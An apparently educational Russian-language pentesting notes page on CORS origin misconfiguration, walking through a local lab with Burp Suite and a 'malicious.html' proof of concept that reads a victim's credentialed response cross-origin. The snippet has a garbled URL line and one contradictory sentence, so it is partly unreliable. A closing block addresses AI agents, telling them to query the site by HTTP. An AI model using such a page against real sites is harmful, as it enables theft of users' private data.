> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/cors-origin-pentesting-web.md).

# Неправильная настройка источника CORS

### Совместное использование ресурсов между разными источниками (CORS):

Вся эта информация доступна на сайте:

<figure><img src="/files/3d8d240cbe2426015747af28d7050ac87416fa91" alt="" width="563"><figcaption></figcaption></figure>

Мы перехватываем его с помощью Burp Suite и замечаем, что два поля "**Учётные данные контроля доступа**" и "**origin**" некорректно настроены в ответе:

<figure><img src="/files/be466a9352b8502d34be69fa1d99098f3743f33d" alt=""><figcaption></figcaption></figure>

Мы добавляем **новое поле origin** в запросе ссылку на веб-страницу, например "google.com", и наблюдаем, что она принимается:

<figure><img src="/files/954c4f36c3bdf326e3810844177e15340ed9b1cf" alt=""><figcaption></figcaption></figure>

Мы создаём веб **malicious.html** который эксплуатирует уязвимость с полями origin и credentials:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>Вас взломали, это информация, которую я у вас украл</h1></center>
<p id="stolenInfo"></p>

```

С **Python**, мы создаём веб-сервер:

<figure><img src="/files/9d678ae1327201268b96a5e0c2ddb024a85b4b71" alt=""><figcaption></figcaption></figure>

Мы открываем наш сайт, и конфиденциальная информация не была **отправлена на наш сайт**:

<figure><img src="/files/ec2967c0976aff355d6b920720f5b5f78dd5fe58" alt=""><figcaption></figcaption></figure>

Если бы CORS был настроен правильно, мы бы получили ошибку ниже:

<figure><img src="/files/d6deb754e29989d14a7d6e452ddc4dec1860e127" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
